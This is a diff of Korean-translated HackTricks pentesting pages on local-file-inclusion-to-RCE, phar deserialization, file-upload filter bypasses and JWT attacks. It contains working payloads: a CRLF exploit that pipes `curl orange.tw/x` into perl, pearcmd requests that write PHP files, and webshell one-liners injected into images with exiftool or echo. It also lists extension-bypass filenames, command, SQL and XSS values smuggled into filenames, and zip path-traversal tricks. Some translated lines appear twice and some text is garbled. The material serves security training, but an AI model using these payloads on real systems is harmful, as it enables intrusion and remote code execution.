GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
다음은 CRLF 취약점을 악용하여 RCE를 얻는 방법입니다 (출처: [**여기**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
다음은 CRLF 취약점을 악용하여 RCE를 얻는 방법입니다 (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo()를 통한 방법 (file_uploads = on)
### Via phpinfo() (file_uploads = on)
**Local File Inclusion**과 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾았다면 RCE를 얻을 수 있습니다:
**로컬 파일 포함**을 발견하고 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾으면 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 경로 노출을 통한 방법
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
**Local File Inclusion**을 발견하고 **임시 파일의 경로를 추출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하고 있다면, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**할 수 있습니다:
**로컬 파일 포함**을 발견하고 **임시 파일의 경로를 유출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하는 경우, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**할 수 있습니다:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### 영원한 대기 + 브루트포스 방법
### Via eternal waiting + bruteforce
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **중단**하게 만들 수 있다면, **몇 시간 동안 파일 이름을 브루트포스**하여 임시 파일을 찾을 수 있습니다:
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **중단**하게 만들 수 있다면, **몇 시간 동안 파일 이름을 무작위로 대입**하여 임시 파일을 찾을 수 있습니다:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### 치명적 오류로
### To Fatal Error
파일 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나를 포함하면 됩니다. (같은 파일을 2번 포함해야 그 오류가 발생합니다).
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나의 파일을 포함합니다. (그 오류를 발생시키기 위해 같은 파일을 2번 포함해야 합니다).
**이것이 어떻게 유용한지는 모르겠지만, 유용할 수 있습니다.**\
&#xNAN;_&#x45;PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 참고 문헌
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

View File

@ -2,13 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
**Phar** 파일(PHP Archive) 파일은 **직렬화된 형식의 메타 데이터**를 **포함**하고 있으므로, 파싱될 때 이 **메타 데이터**는 **역직렬화**되고, **PHP** 코드 내에서 **역직렬화** 취약점을 악용할 수 있습니다.
이 특성의 가장 좋은 점은 **file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 평가하지 않는 PHP 함수를 사용하더라도 이 역직렬화가 발생한다는 것입니다.
**Phar** 파일(PHP Archive) 파일은 **직렬화된 형식의 메타 데이터**를 포함하고 있으므로, 파싱될 때 이 **메타 데이터**는 **역직렬화**되고, **PHP** 코드 내에서 **역직렬화** 취약점을 악용할 수 있습니다.
이 특성의 가장 좋은 점은 **file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 eval하지 않는 PHP 함수를 사용하더라도 이 역직렬화가 발생한다는 것입니다.
따라서, **`phar://`** 프로토콜을 사용하여 임의의 파일의 크기를 가져오는 PHP 웹이 있는 상황을 상상해 보십시오. 그리고 코드 내에서 다음과 유사한 **class**를 찾을 수 있습니다:
따라서, PHP 웹이 **`phar://`** 프로토콜을 사용하여 임의의 파일의 크기를 가져오는 상황을 상상해 보십시오. 그리고 코드 내에서 다음과 유사한 **클래스**를 찾을 수 있습니다:
```php:vunl.php
<?php
class AnyClass {
@ -50,8 +48,8 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
**JPG의 매직 바이트**(`\xff\xd8\xff`)가 phar 파일의 시작 부분에 추가되어 **가능한** 파일 **업로드** **제한**을 **우회**하는 방법에 주목하세요.\
`test.phar` 파일을 다음과 같이 컴파일하세요:
JPG의 **매직 바이트**(`\xff\xd8\xff`)가 phar 파일의 시작 부분에 추가되어 **가능한** 파일 **업로드** **제한**을 **우회**하는 방법에 주목하세요.\
`test.phar` 파일을 다음과 같이 **컴파일**하세요:
```bash
php --define phar.readonly=0 create_phar.php
```
@ -59,10 +57,10 @@ php --define phar.readonly=0 create_phar.php
```bash
php vuln.php
```
### 참고문헌
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
### References
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## 파일 업로드 일반 방법론
기타 유용한 확장자:
@ -18,11 +17,11 @@
### 파일 확장자 검사 우회
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 **유효한 확장자 추가** 확인 (이전 확장자도 사용):_
1. 해당되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 **앞에 유효한 확장자 추가** 확인합니다 (이전 확장자도 사용):_
- _file.png.php_
- _file.png.Php5_
3. **특수 문자를 끝에 추가**해 보십시오. Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._)
3. **끝에 특수 문자를 추가**해 보십시오. Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수도 있습니다._)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -32,7 +31,84 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자**를 **두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용할 수 있습니다. _이전의 **확장자
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용할 수 있습니다. _이전의 **확장자**를 사용하여 더 나은 페이로드를 준비할 수 있습니다._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
- _file.php%00.png_
- _file.php\x00.png_
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 이전 검사에 **또 다른 확장자 레이어를 추가**합니다:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 추가**하고 서버가 잘못 구성되기를 기도합니다. (확장자** _**.php**_**로 끝나지 않더라도** 코드를 실행하는 Apache 잘못 구성된 경우에 유용합니다):
- _예: file.php.png_
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, **금지된 확장자를 가진 빈 파일**이 서버에 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 깨보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
```
# 리눅스 최대 255 바이트
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 예를 들어 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, 매직 넘버, 압축 및 크기 조정 우회
- **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 **메타데이터** 내에 쉘을 삽입합니다:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하는 경우, 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- **PHP-GD 함수 `thumbnailImage`**를 사용하여 **이미지 크기 조정**을 견딜 수 있는 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 견딜 수 있는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 기타 트릭
- 이미 업로드된 파일의 **이름을 바꿀 수 있는 취약점**을 찾습니다 (확장자를 변경).
- **로컬 파일 포함** 취약점을 찾아 백도어를 실행합니다.
- **정보 유출 가능성**:
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제되지 않을 수 있는 파일을 업로드합니다 (예: **“…:.jpg”**). (Windows)
5. **Windows**에서 **잘못된 문자**가 포함된 파일을 업로드합니다 (예: `|<>*?”`). (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다 (예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9).
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
### 특수 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하십시오](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하십시오](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 **파일을 가져오는 데만 사용되는 PHP 파일**에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있습니다. **새로운 \*.xml 및 \*.war가 자동으로 처리됩니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 쉘을 기대하십시오!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위해 악용될 수 있습니다. `.ini` 구성 파일이 처리될 때.
다음은 다양한 스킴을 보여주는 유해한 `uwsgi.ini` 파일의 예입니다:
```ini
[uwsgi]
; read from a symbol
@ -56,7 +132,7 @@ uWSGI의 구성 파일 구문 분석의 느슨한 특성을 이해하는 것이
## **wget 파일 업로드/SSRF 트릭**
일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
일부 경우 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
```bash
#Create file and HTTP server
@ -80,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
**다른 옵션**으로 이 검사를 우회하기 위해 생각할 수 있는 것은 **HTTP 서버가 다른 파일로 리디렉션**되도록 하는 것입니다. 이렇게 하면 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드하게 됩니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
다른 옵션을 고려할 수 있다는 점에 유의하세요. 이 검사를 우회하기 위해 **HTTP 서버가 다른 파일로 리디렉션**되도록 설정하면, 초기 URL이 검사를 우회하고 wget이 새 이름으로 리디렉션된 파일을 다운로드하게 됩니다. 이는 **wget이 `--trust-server-names` 매개변수와 함께 사용되지 않는 한 작동하지 않습니다**. 왜냐하면 **wget은 원래 URL에 표시된 파일 이름으로 리디렉션된 페이지를 다운로드하기 때문입니다**.
## 도구
@ -88,23 +164,23 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## 파일 업로드에서 다른 취약점으로
- **filename**을 `../../../tmp/lol.png`로 설정하고 **경로 탐색**을 시도합니다.
- **filename**을 `../../../tmp/lol.png`로 설정하고 **경로 탐색**을 시도하세요.
- **filename**을 `sleep(10)-- -.jpg`로 설정하면 **SQL 인젝션**을 달성할 수 있습니다.
- **filename**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성합니다.
- **filename**을 `; sleep 10;`으로 설정하여 일부 명령 주입을 테스트합니다 (더 많은 [명령 주입 트릭은 여기](../command-injection.md)에서 확인하세요).
- **filename**을 `<svg onload=alert(document.domain)>`로 설정하여 XSS를 달성하세요.
- **filename**을 `; sleep 10;`으로 설정하여 일부 명령 주입을 테스트하세요 (더 많은 [명령 주입 트릭은 여기](../command-injection.md)에서 확인하세요).
- [**XSS** 이미지 (svg) 파일 업로드](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** 파일 **업로드** + **XSS** = [**서비스 워커** 악용](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**SVG 업로드에서 XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**SVG 파일 업로드를 통한 오픈 리디렉션**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
- [**SVG 파일 업로드를 통한 Open Redirect**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도세요.
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- **URL에서 이미지를 가져오도록 웹 서버를 지정할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [PDF-Adobe 업로드로 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- 파일 업로드 시 **크기 제한**이 있는지 확인합니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 내용을 업로드하여 서버에 **안티바이러스**가 있는지 확인하세요.
- 파일 업로드 시 **크기 제한**이 있는지 확인하세요.
여기 파일 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
여기 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: 웹쉘 / RCE
2. **SVG**: 저장된 XSS / SSRF / XXE
@ -112,14 +188,16 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
4. **CSV**: CSV 인젝션
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS**: HTML 인젝션 / XSS / 오픈 리디렉션
7. **HTML / JS**: HTML 인젝션 / XSS / Open redirect
8. **PNG / JPEG**: 픽셀 플러드 공격 (DoS)
9. **ZIP**: LFI를 통한 RCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp 확장
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## 매직 헤더 바이트
@ -134,7 +212,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
#### 심볼릭 링크
다른 파일에 대한 소프트 링크를 포함하는 링크를 업로드한 다음, 압축 해제된 파일에 접근하여 링크된 파일에 접근할 수 있습니다:
다른 파일에 대한 소프트 링크를 포함하는 링크를 업로드한 후, 압축 해제된 파일에 접근하면 연결된 파일에 접근할 수 있습니다.
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -144,7 +222,7 @@ tar -cvf test.tar symindex.txt
압축 해제 중 디렉토리에서 파일이 예기치 않게 생성되는 것은 중요한 문제입니다. 이 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행을 방지할 것이라는 초기 가정에도 불구하고, ZIP 아카이브 형식의 계층적 압축 지원 및 디렉토리 탐색 기능이 악용될 수 있습니다. 이를 통해 공격자는 제한을 우회하고 대상 애플리케이션의 압축 해제 기능을 조작하여 안전한 업로드 디렉토리를 탈출할 수 있습니다.
이러한 파일을 생성하기 위한 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
이러한 파일을 생성하 자동화된 익스플로잇은 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용할 수 있습니다:
```python
# Listing available options
python2 evilarc.py -h
@ -192,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 변경하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다.
3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다.
```bash
:set modifiable
@ -219,11 +297,11 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
## 폴리글롯 파일
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며, 이는 GIF와 RAR 아카이브로서 기능하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없을 수 있습니다.
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -236,5 +314,4 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,7 @@
{{#include ../banners/hacktricks-training.md}}
**이 게시물의 일부는 훌륭한 게시물을 기반으로 합니다:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
**JWT를 테스트하기 위한 훌륭한 도구의 저자** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
**JWT를 테스트하기 위한 훌륭한 도구의 저자** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool)
### **빠른 승리**
@ -23,17 +23,17 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) to launch JWT attacks from Burp.
### 데이터 변조하기
### 데이터 변조하기 (수정 없이)
서명은 그대로 두고 데이터 변조하여 서버가 서명을 확인하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해 보세요.
서명은 그대로 두고 데이터 변조하여 서버가 서명을 확인하는지 확인할 수 있습니다. 예를 들어 사용자 이름을 "admin"으로 변경해 보세요.
#### **토큰이 확인되나요?**
